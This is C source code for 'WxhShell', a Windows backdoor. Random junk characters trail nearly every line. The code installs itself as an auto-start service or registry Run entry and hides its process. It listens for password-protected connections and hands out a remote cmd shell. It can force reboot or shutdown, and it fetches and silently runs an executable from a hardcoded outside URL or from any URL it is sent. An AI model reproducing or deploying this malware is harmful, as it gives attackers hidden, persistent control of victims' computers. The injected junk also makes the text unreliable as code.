    if(Boot(SHUTDOWN)) t>"%exdoZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sE1cvAw9l  
    else { v* ;d  
    closesocket(wsh); Ia&R/I  
    ExitThread(0); 7ubz7*  
    } 0}{xH  
    break; Fe+ @;  
    } M[uWX=  
  // 获取shell >4 OXG7.&f  
  case 's': { b}J%4Lx%m  
    CmdShell(wsh); E+td~&x  
    closesocket(wsh); boh?Xt-$  
    ExitThread(0); a"8[,A3  
    break; sdu?#O+c1  
  } }`"`VLh  
  // 退出 1^ iBS  
  case 'x': { 8H F^^Cva  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xU *:a[g  
    CloseIt(wsh); L'e_?`!:  
    break; 8fR(y~_gF  
    } K*6"c.D  
  // 离开 So:X!ljN(e  
  case 'q': { bOY;IB _  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); PnsBDf%v  
    closesocket(wsh); yPyu)  
    WSACleanup(); Onmmcem  
    exit(1); Bd>~F7VWs  
    break; @Mk`Tl  
        } >r.]a`  
  } YJi%vQ*]  
  } 8h )XULs2  
2*Z2uV^  
  // 提示信息  8*ZsR)!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rIb+c=|F  
} Vej$|nF  
  } <LX\s*M)  
O5\r%&$xd  
  return; _z5/&tm_H  
} q5'S<qY^  
I[Ra0Q>([k  
// shell模块句柄 T U%@_vYR  
int CmdShell(SOCKET sock) OvdT* g=8*  
{  %Bq~b$  
STARTUPINFO si; !, 4ag1  
ZeroMemory(&si,sizeof(si)); V0ze7tSG[f  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8^mE<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |rmelQ-  
PROCESS_INFORMATION ProcessInfo; 4=PjS<Lu8  
char cmdline[]="cmd"; CB@7XUR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :qYp%Ub  
  return 0; ~zp8%lEe  
} "TRS(d|3  
E&[5b4D@<  
// 自身启动模式 7]{g^g.9-  
int StartFromService(void) 9+.wj/75  
{ qY_qS=H^  
typedef struct Vns3859$8  
{ ~^t@TMk$  
  DWORD ExitStatus; H DVimoOq  
  DWORD PebBaseAddress; bMH~vR  
  DWORD AffinityMask; y@P%t9l  
  DWORD BasePriority; De$AJl  
  ULONG UniqueProcessId; "W<Y1$Y=Y  
  ULONG InheritedFromUniqueProcessId; 'uPAG;)m  
}   PROCESS_BASIC_INFORMATION; P5S ]h  
%&ejO= r  
PROCNTQSIP NtQueryInformationProcess; cx}Yu8  
J8|MK.oD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Daf|.5>(@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; sJHVnMA  
4WT[(  
  HANDLE             hProcess;  ZR.k'  
  PROCESS_BASIC_INFORMATION pbi; !\4x{Wa]  
"hkcN+=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =C\Tl-$\f  
  if(NULL == hInst ) return 0; \Lx=iKs<  
CK* * RZ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fv+]iK<{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^BsT>VSH6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *dBy<dIy  
3bEcKA_z(  
  if (!NtQueryInformationProcess) return 0; y]9R#\P/  
\i.]-k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); XqH@3Ehk  
  if(!hProcess) return 0; ^W |YE72Y  
V&mkS  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )ycI.[C  
-H| 9 82=  
  CloseHandle(hProcess); 0b&# w  
'u,|*o  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q8 v iC|  
if(hProcess==NULL) return 0; iOL$|Z(  
l{By]S  
HMODULE hMod; ?d')#WnC  
char procName[255]; +NlnK6T/  
unsigned long cbNeeded; F>;Wbk&[|  
8PI%Z6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d)%WaM%V  
SX4*804a_  
  CloseHandle(hProcess); 4,RPidv%O  
E^8|xT'h6  
if(strstr(procName,"services")) return 1; // 以服务启动 xd Z$|{,  
Z)!8a$M~  
  return 0; // 注册表启动 i'Y8-})  
} =NB[jQ :(  
U-|]A\`)I  
// 主模块 ly0R'4j \  
int StartWxhshell(LPSTR lpCmdLine) ;hj lRQ\  
{ F^Ut ZG+  
  SOCKET wsl; h5?^MRZS  
BOOL val=TRUE; T"wg/mT  
  int port=0; 6?Ncgj &@  
  struct sockaddr_in door; Om3Ayk}  
+p u[JHF  
  if(wscfg.ws_autoins) Install(); $]7f1U_e  
Mj0 ,Y#=76  
port=atoi(lpCmdLine); ZmK=8iN9J  
+eVYy_bL-  
if(port<=0) port=wscfg.ws_port; 1tuvJ+`{  
bWSN]]e1#  
  WSADATA data; 8SRR)O[)}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q4ROuE|d  
@ @[xTyA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   BabaKSm}LP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )&6gju7(  
  door.sin_family = AF_INET; Y6{^cZ!=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M7#!Y=  
  door.sin_port = htons(port); 8/e-?2l  
EQ%ooAb8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <G})$f'x2  
closesocket(wsl); wAh]C;+{  
return 1; cILS  
} 3Z*r#d$nh:  
^PG"  
  if(listen(wsl,2) == INVALID_SOCKET) { O9ex=m `L  
closesocket(wsl); 0`/G(ukO  
return 1; ,dC.|P' `  
} WJ{Iv] }9  
  Wxhshell(wsl); 7_~ A*LM  
  WSACleanup(); d$IROZK-D  
H'A N osv  
return 0; Xhe& "rM  
Emlj,c<?j  
} *)m:u:   
GRZz@bAO?$  
// 以NT服务方式启动 \`Hp/D1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?N kKDvv  
{ ^'3c%&Zf3  
DWORD   status = 0; jY6GWsh:9  
  DWORD   specificError = 0xfffffff; *g5bdQ:Av~  
& ALnE:F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hHJiGVJ=V  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T zL|{9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D e&,^"%  
  serviceStatus.dwWin32ExitCode     = 0; WD5J2EePT  
  serviceStatus.dwServiceSpecificExitCode = 0; (MGg r  
  serviceStatus.dwCheckPoint       = 0; J[lC$X[  
  serviceStatus.dwWaitHint       = 0; G ;j1zs  
@*%3+9`yq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ? AfThJc  
  if (hServiceStatusHandle==0) return; a4:GGzt  
0ix(1`Z  
status = GetLastError(); n;Bb/Z!~  
  if (status!=NO_ERROR) tN#C.M7.'7  
{ C?qRZB+W#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xG!~TQ  
    serviceStatus.dwCheckPoint       = 0; 6_mi9_w  
    serviceStatus.dwWaitHint       = 0; h<9vm[.  
    serviceStatus.dwWin32ExitCode     = status; 7FH(C`uKi  
    serviceStatus.dwServiceSpecificExitCode = specificError; _k:8ib2TQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !}Xoqamm  
    return; Snr(<u  
  } l";Yw]:^  
fHiL%]z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 99yWUC,  
  serviceStatus.dwCheckPoint       = 0; ]_ C"A  
  serviceStatus.dwWaitHint       = 0; ]zx%"SUM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ; Z:[LJd  
} Ysm RY=3  
Sk{skvd;  
// 处理NT服务事件,比如:启动、停止 bPVk5G*ruP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d(IJ-qJ N  
{ i l^;2`]&  
switch(fdwControl) qU26i"GHp  
{ k^ <]:B  
case SERVICE_CONTROL_STOP: !wp1Df[  
  serviceStatus.dwWin32ExitCode = 0; =$OGHc  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; suEK;Bk9  
  serviceStatus.dwCheckPoint   = 0; /8; m.J>bf  
  serviceStatus.dwWaitHint     = 0; /&Q{B f  
  { TcZ.5Oe6h#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >pu4G+M  
  } /3s&??{tv  
  return; T0 K!Msz  
case SERVICE_CONTROL_PAUSE: xPZ>vCg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {aAd (~YZ  
  break; 1ksFxpE  
case SERVICE_CONTROL_CONTINUE: UZ<K'H,q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;JxL>K(  
  break; q,Gymh;  
case SERVICE_CONTROL_INTERROGATE: puPI ^6y%  
  break; 97liSd  
}; dWz?`B{'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [}szM^  
} : UeK0  
s)Y1%#  
// 标准应用程序主函数 { Zgd  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Snk+ZQ-  
{ $w(RJ/  
?R]`M_^&u!  
// 获取操作系统版本 ((ebSu2-?$  
OsIsNt=GetOsVer(); A}ZZQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :k\#=u(  
ULiRuN0 6  
  // 从命令行安装 `D;*.zrA  
  if(strpbrk(lpCmdLine,"iI")) Install(); z& ;8pZr  
i q`}c |c  
  // 下载执行文件 L-+g`  
if(wscfg.ws_downexe) { 6R45+<.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }AS?q?4?  
  WinExec(wscfg.ws_filenam,SW_HIDE); {+9RJmZg  
} )Qb,zS6  
i~h@}0WR"  
if(!OsIsNt) { z}E_ wg  
// 如果时win9x,隐藏进程并且设置为注册表启动 y#'hOSR2  
HideProc(); )$]lf }  
StartWxhshell(lpCmdLine); 4r(0+SO  
} o 2 ng  
else \Th<7WbR6#  
  if(StartFromService()) Au,oX2$  
  // 以服务方式启动 k[@P526  
  StartServiceCtrlDispatcher(DispatchTable); ]k!Xb  
else %,bD| NKp  
  // 普通方式启动 >!Yuef <P  
  StartWxhshell(lpCmdLine); Cd*h4Q]S  
UDEGQ^)Xz|  
return 0; t@!n?j I  
} f$dPDbZQ  
O cL7] b0  
e |Ri  
;M?)-dpZ  
=========================================== <>6j>w_|  
u1/ >)_U  
b,Wm]N  
G(t:s5:  
6qT@M0)i  
SES.&e|!6  
" 529b. |  
D [+LU(  
#include <stdio.h> X%b1KG|#(  
#include <string.h> "0HUaU,e  
#include <windows.h> 6 \8d6x>  
#include <winsock2.h> AERJ]$\  
#include <winsvc.h> V|u2(*  
#include <urlmon.h> e(7#>O%1  
g,d_  
#pragma comment (lib, "Ws2_32.lib") ,)`_?^ \$f  
#pragma comment (lib, "urlmon.lib") {VAih-y  
Um+_ S@h  
#define MAX_USER   100 // 最大客户端连接数 h  /  
#define BUF_SOCK   200 // sock buffer d<-f:}^k0  
#define KEY_BUFF   255 // 输入 buffer t9`{^<LH  
/1 EAj  
#define REBOOT     0   // 重启 qA[lL(  
#define SHUTDOWN   1   // 关机 gBqDx|G  
?L }>9$"  
#define DEF_PORT   5000 // 监听端口 DvH-M3  
W_B=}lP@x  
#define REG_LEN     16   // 注册表键长度 g@#he95 }  
#define SVC_LEN     80   // NT服务名长度 +RJ{)Nec  
0%bCP/  
// 从dll定义API NQqw|3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )M0`dy{1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^BF}wQb :j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &ZD@-"@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8xB-cE  
u[)X="-e#  
// wxhshell配置信息 m4m-JD|v  
struct WSCFG { B''yW{  
  int ws_port;         // 监听端口 ^ 9+ Qxv  
  char ws_passstr[REG_LEN]; // 口令 v*.R<- X:  
  int ws_autoins;       // 安装标记, 1=yes 0=no )=f}vHg$  
  char ws_regname[REG_LEN]; // 注册表键名 O?OAXPK2  
  char ws_svcname[REG_LEN]; // 服务名 jq H)o2"/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &m3-][ !n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 eDpi0htm  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 htB7 j(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +;W%v7 %<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Gj?Zbl <  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =n,;S W  
R%.`h  
}; {($bz T7c  
{L;sF=d  
// default Wxhshell configuration ;VLDXvGd  
struct WSCFG wscfg={DEF_PORT, ^/#+0/Bn  
    "xuhuanlingzhe", G`l\R:Q  
    1, e_b,{l#  
    "Wxhshell", g !^N#o  
    "Wxhshell", 0~U0s3  
            "WxhShell Service", o(ow{S@=4  
    "Wrsky Windows CmdShell Service", s* GZOz  
    "Please Input Your Password: ", i~Tt\UA>  
  1, xCZ_x$bk  
  "http://www.wrsky.com/wxhshell.exe", P|Aac,nE+^  
  "Wxhshell.exe" _&, A  
    }; |!(8c>]Bo  
=G}a%)?As\  
// 消息定义模块 [ bnu DS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \~#\ [r_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Z8=?Hu  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b%lB&}uw}  
char *msg_ws_ext="\n\rExit."; HwFg;r  
char *msg_ws_end="\n\rQuit."; TFkG"ev  
char *msg_ws_boot="\n\rReboot..."; ) k/&,J3  
char *msg_ws_poff="\n\rShutdown..."; 437Wy+Q|e  
char *msg_ws_down="\n\rSave to "; +nR("Il  
eP2Q2C8g  
char *msg_ws_err="\n\rErr!"; ]-t )wGr  
char *msg_ws_ok="\n\rOK!"; \udB4O  
P8c_GEna  
char ExeFile[MAX_PATH]; QjLU@?&  
int nUser = 0; 0'd@8]|H  
HANDLE handles[MAX_USER]; Vs 5 &X+k  
int OsIsNt; [6TI_U~  
$tu   
SERVICE_STATUS       serviceStatus; ZSNbf|ldiE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Vu(NP\Wm  
6 :4GI  
// 函数声明 ;Pk"mC  
int Install(void); OD'~t,St  
int Uninstall(void); :kHk'.V1(  
int DownloadFile(char *sURL, SOCKET wsh); lH3.q4D 5  
int Boot(int flag); -=lm`X<:  
void HideProc(void); /6rjGc  
int GetOsVer(void); Mg\588cI  
int Wxhshell(SOCKET wsl); .45wwouZkc  
void TalkWithClient(void *cs); Qb@j8Xa4[  
int CmdShell(SOCKET sock); ZTTA??}Y  
int StartFromService(void); q-t%spkl  
int StartWxhshell(LPSTR lpCmdLine); eSoX|2g  
_j+,'\B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P{dR pH|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &3/`cl[+  
Sp[9vlo8  
// 数据结构和表定义 $MasYi  
SERVICE_TABLE_ENTRY DispatchTable[] = ~"S5KroN  
{ J.rS@Z`~7  
{wscfg.ws_svcname, NTServiceMain}, }F1Asn  
{NULL, NULL} _A]jiPq  
}; *?Eu{J){7%  
]yKwH 9sl  
// 自我安装 wp:$Tqa$  
int Install(void) 8TYh&n=r  
{ KeyKLkg>  
  char svExeFile[MAX_PATH]; pJg:afCg  
  HKEY key; 0 iSNom}m  
  strcpy(svExeFile,ExeFile); ub 2'|CYw  
;7Qem&  
// 如果是win9x系统,修改注册表设为自启动 q"Bd-?9  
if(!OsIsNt) { @d Qr^'h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Yy 4Was#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "a(R>PV%  
  RegCloseKey(key); ^Whc<>|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jEKa9rt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =pe O %  
  RegCloseKey(key); 9I 6^-m@:  
  return 0; "^t7]=q  
    } 4oF,;o+v\4  
  } 36'J9h\  
} qbnlD\  
else { 2;]tItd1  
lJa-O  
// 如果是NT以上系统,安装为系统服务 _`Kh8G {e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~b8.]Z^  
if (schSCManager!=0) bY`Chb.  
{ =SJ[)|  
  SC_HANDLE schService = CreateService |QzJHP @  
  ( ' Sd&I:?  
  schSCManager, h%:wIkZ/  
  wscfg.ws_svcname, zX=%BL?  
  wscfg.ws_svcdisp, :8n?G  
  SERVICE_ALL_ACCESS, .aZB?M W  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y~_x  
  SERVICE_AUTO_START, Iy5W/QK6  
  SERVICE_ERROR_NORMAL, ~i^,Z&X:  
  svExeFile, pnz@;+f  
  NULL, #O^zA`D   
  NULL, Wm8BhO  
  NULL, 3s BWtz  
  NULL, ^?%ThPo_  
  NULL <\:*cET3  
  ); ve#[LBOC8  
  if (schService!=0) dd=5`Bo9Yh  
  { rGH7S!\AM  
  CloseServiceHandle(schService); 3I?yRE  
  CloseServiceHandle(schSCManager); !4F@ !.GG!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Z[+Qf3j}o6  
  strcat(svExeFile,wscfg.ws_svcname); ,[m4+6G5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -GgV&%'a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); oi3Ix7  
  RegCloseKey(key); pfim*\'  
  return 0; dkEnc  
    } #tPy0Q H  
  } kH=~2rwm  
  CloseServiceHandle(schSCManager); YVHDk7s  
} xT9+l1_  
} r'}#usB(  
\@2sI  
return 1; ,38bT#p:,r  
} <.7W:s,f=  
f2|On6/  
// 自我卸载 RAyR&p  
int Uninstall(void) Y!E| X 3  
{ 1?+)T%"  
  HKEY key; Z?",+|4  
If9!S} wa  
if(!OsIsNt) { y(#F&^|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RDG,f/L2  
  RegDeleteValue(key,wscfg.ws_regname); >|T?87  
  RegCloseKey(key); =7P; /EV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /=OSGIJzm  
  RegDeleteValue(key,wscfg.ws_regname); b!37:V\#}  
  RegCloseKey(key); X>jwjRK $  
  return 0; q33!X!br  
  } 6a`_i  
} zGFW?|o<  
} .+AO3~Dg  
else { ^_ZQf  
:kI x?cc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X'bp?m  
if (schSCManager!=0) }Lwj~{  
{ **YNR:#Y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); RZE:WE;5  
  if (schService!=0) PZA;10z  
  { $j}sxxTT  
  if(DeleteService(schService)!=0) { e$(i!G)  
  CloseServiceHandle(schService); R}+/jh2O|  
  CloseServiceHandle(schSCManager); -+I! (?  
  return 0; <F.Ol/'h  
  } 7#|NQ=yd  
  CloseServiceHandle(schService); Sdt2D  
  } &FvNz  
  CloseServiceHandle(schSCManager); lB\j>.c  
} ?y45#Tk]  
} LveqG   
+Vf|YLbhJ  
return 1; S(-=I!.G{  
} ?R{?Qv  
G7/LYTT)  
// 从指定url下载文件 Z/RUrYeb  
int DownloadFile(char *sURL, SOCKET wsh) Tx_(^K  
{ Iq}h}Wd  
  HRESULT hr; |~CnELF)  
char seps[]= "/"; YL=k&Q G  
char *token; gS|xicq!  
char *file; }EIwkz8  
char myURL[MAX_PATH]; ;^8^L'7cr  
char myFILE[MAX_PATH]; &% r#eB?7  
22r01qH  
strcpy(myURL,sURL); O}f(h5!k  
  token=strtok(myURL,seps); @ Q1jH~t  
  while(token!=NULL) jh0$:6 `C  
  { +@qk=]3a  
    file=token; ]D-48o0  
  token=strtok(NULL,seps); XP;&iZJ  
  } #"yf^*wX  
M2EN(Y_k0  
GetCurrentDirectory(MAX_PATH,myFILE); ?Ru`ma\;  
strcat(myFILE, "\\"); ^{K8uN7  
strcat(myFILE, file); qL+y8*  
  send(wsh,myFILE,strlen(myFILE),0); (Mm{"J3uv  
send(wsh,"...",3,0); A7RX2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8k`zMT  
  if(hr==S_OK) d,+n,;6Cf  
return 0; jb![ Lp  
else i }g xq  
return 1; 7~Ga>BK  
rYS D-Kq  
} *f#4S_ws`  
"AK3t' jF*  
// 系统电源模块 0amz#VIB<u  
int Boot(int flag) @YB\ PVhW  
{ +e:ZN tr9  
  HANDLE hToken; 2!3&Ub#FO  
  TOKEN_PRIVILEGES tkp; q5W'P>  
#rr-4$w+  
  if(OsIsNt) { `pMI[pLZe  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2* L/c-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fBOPd =  
    tkp.PrivilegeCount = 1; ge oN4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r=Q5=(hn  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +=k|(8Js#  
if(flag==REBOOT) { =5M>\vt]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) dJ^`9W  
  return 0; G0Eq }MyF  
} /a|NGh%  
else { ncdr/(`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .am*d|&+G  
  return 0; ~=mM/@HD  
} p,8Z{mLn  
  } bN&da [K  
  else { r?I(me,  
if(flag==REBOOT) { nu<!/O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &Kp+8D*  
  return 0; U}0/V c26  
} a&hM:n4P  
else { z.^ )r  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @#tSx  
  return 0; T_Y}1n|7[  
} {@$3bQ  
} 6<Wr 8u,  
j[`?`RyU  
return 1; ~&:R\  
} ECzNByP  
vrv*k  
// win9x进程隐藏模块 _64@zdL+  
void HideProc(void) -JENY|6  
{ @ 1A_eF  
ix+x-G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i|^6s87"N2  
  if ( hKernel != NULL ) EvmmQ  
  { 1W[(+TZ&s  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q9>]@DrAx  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3@?YTez#  
    FreeLibrary(hKernel); ~Wm}M  
  } 5,ahKB8  
l7!)#^`2_  
return; 6{X>9hD  
} 9`{2h$U  
Rk[ * p  
// 获取操作系统版本 ItPK  
int GetOsVer(void) 3= zQ U  
{ *KH@u  
  OSVERSIONINFO winfo; 8|NJ(D-$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "%t`I)  
  GetVersionEx(&winfo); r_E)HL/A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U.'@S8  
  return 1; 8Jj0-4]  
  else 3]es$Jy  
  return 0; ]?`p_G3O  
} x 4</\o  
E0]h|/A]  
// 客户端句柄模块 34kd|!e,  
int Wxhshell(SOCKET wsl) [B @j@&  
{ u g"<\"  
  SOCKET wsh; \q'fB?bS^  
  struct sockaddr_in client; )N 6[rw<  
  DWORD myID; a&"*UJk<?  
H`lD@q'S  
  while(nUser<MAX_USER) "@w%TcA  
{ oD@jtd>b%  
  int nSize=sizeof(client); rI+w1';C1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z xUj1  
  if(wsh==INVALID_SOCKET) return 1; =>\-ma+  
Pm(:M:a  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uE`|0  
if(handles[nUser]==0)  :$c:3~  
  closesocket(wsh); h)^A3;2F  
else eI rmD  
  nUser++; zN)\2  
  } cCGXB|9fYR  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S!W/K!wf  
_j\=FJz[  
  return 0; bXwoJ2  
} .r5oN+?e  
.4FcZJvy  
// 关闭 socket xevP2pYG:  
void CloseIt(SOCKET wsh) n(YHk\2  
{ /8t+d.r;/  
closesocket(wsh); 0uO=wOIhH  
nUser--; WAXts]=  
ExitThread(0); Wd56B+  
} 1 3 `0d  
yUmsE-W  
// 客户端请求句柄 ]~S+nl yd<  
void TalkWithClient(void *cs) tlLn  
{ )z235}P  
*3`oU\r  
  SOCKET wsh=(SOCKET)cs; DE\bYxJ  
  char pwd[SVC_LEN]; uE#,c\[8  
  char cmd[KEY_BUFF]; g)?g7{&?>?  
char chr[1]; /:{_|P\  
int i,j; ~uR6z//%  
n,a5LR  
  while (nUser < MAX_USER) { EvqAi/(g  
w1@b5-  
if(wscfg.ws_passstr) { 2, "q_d'V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /dJ)TW(Ir  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vd7N&c9  
  //ZeroMemory(pwd,KEY_BUFF); 0$L0fhw.  
      i=0; !_-sTZ  
  while(i<SVC_LEN) { 795Jwv  
X0Z-1bs  
  // 设置超时 -F+P;S  
  fd_set FdRead; O0wCb  
  struct timeval TimeOut; ?t0zsq  
  FD_ZERO(&FdRead); ;s\;78`0  
  FD_SET(wsh,&FdRead); ' q<EZ {  
  TimeOut.tv_sec=8; \btR^;_\A  
  TimeOut.tv_usec=0; #>m, Cm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  ;[KriW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `o8{qU,*]N  
=6Sj}/   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Wd` QpW  
  pwd=chr[0]; C nSX  
  if(chr[0]==0xd || chr[0]==0xa) { s'aV qB  
  pwd=0; q bZ,K@0  
  break; ?(/j<,m^  
  } mDF"&.(j  
  i++; $rpTs?j*K$  
    } ]a6O(]  
Ly)(_Tp@+  
  // 如果是非法用户,关闭 socket A` o?+2s_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;j>Vt?:Pw  
} _m7U-;G  
grCO-S|j^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (!VMnLlXRK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OVUs]uK  
Xm8Z+}i  
while(1) { I51oG:6fR?  
J(EaE2  
  ZeroMemory(cmd,KEY_BUFF); v-;XyVx  
\%Ah^U)gS  
      // 自动支持客户端 telnet标准   =qp}p'BYe  
  j=0; lQdnL.w$.4  
  while(j<KEY_BUFF) { 6/mkJj+"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r!.+XrYg  
  cmd[j]=chr[0]; i,'Ka[6   
  if(chr[0]==0xa || chr[0]==0xd) { O| 1f^_S/  
  cmd[j]=0; xdL/0 N3  
  break; _[TH@fO6:  
  } 'o/N}E!Pt  
  j++; P('t6MVl T  
    } "s>fV9YyZ  
C '-zh\a  
  // 下载文件 OHHNWg_5  
  if(strstr(cmd,"http://")) { ," C[Qg(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y^ X\^Kq  
  if(DownloadFile(cmd,wsh)) XJmFJafQD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); lHcZi  
  else WXLe,7y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &R'w-0k_  
  } nxyjL)!)0  
  else { \m=-8KpU  
A \MfF  
